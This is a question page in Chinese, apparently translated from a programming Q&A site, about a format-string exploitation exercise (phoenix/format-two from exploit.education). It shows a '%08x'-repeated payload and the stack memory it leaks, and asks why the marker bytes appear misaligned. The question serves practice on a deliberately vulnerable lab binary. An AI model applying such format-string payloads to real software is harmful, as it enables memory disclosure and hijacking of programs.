首页 > 解决方案 > 如何从格式字符串漏洞中正确读取内存

问题描述

我正在尝试解决格式字符串利用的问题,在该问题中我必须覆盖特定地址中的任何内容。由于目标地址开头有一个空字节,所以我需要将它写在格式字符串的末尾,并且我想定位我的格式字符串的最后4个字节在哪里,所以我只是做了一些格式字符串如

"%08x " * whatever_integer + "AAAA"

直到我发现一些 0x41414141 形式的内存泄漏。

但是,我的“AAAA”并不总是正确的输出。例如,如果我使用 35 的因子,我会得到以下结果:

$ ./format-two "`python -c 'print "%08x " * 35 + "AAAA"'`"
Welcome to phoenix/format-two, brought to you by https://exploit.education
00000000 0000004d ffffe83b 01010101 ffffe49f ffffe4e0 ffffe4e0 ffffe5e0 00400705 ffffe638 00400368 78383025 30252078
20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838
78383025 30252078 20783830 38302520 25207838 78383025 30252078 00414141 00000000 AAAABetter luck next time!

可以看出,我只得到了三个 0x41,因此其中一个丢失了,尽管它应该位于连续的内存位置。如果我以 40 倍重复该过程,它会突然按预期运行:

$ ./format-two "`python -c 'print "%08x " * 40 + "AAAA"'`"
Welcome to phoenix/format-two, brought to you by https://exploit.education
00000000 00000034 ffffe822 01010101 ffffe48f ffffe4d0 ffffe4d0 ffffe5d0 00400705 ffffe628 00400368 78383025 30252078
20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838
78383025 30252078 20783830 38302520 25207838 78383025 30252078 20783830 38302520 25207838 41414141 00000000 00000000
00000000 AAAABetter luck next time!

为什么会这样?是否有使用格式字符串的确切方法,以便正确打印内存?

标签: securityexploit

解决方案


推荐阅读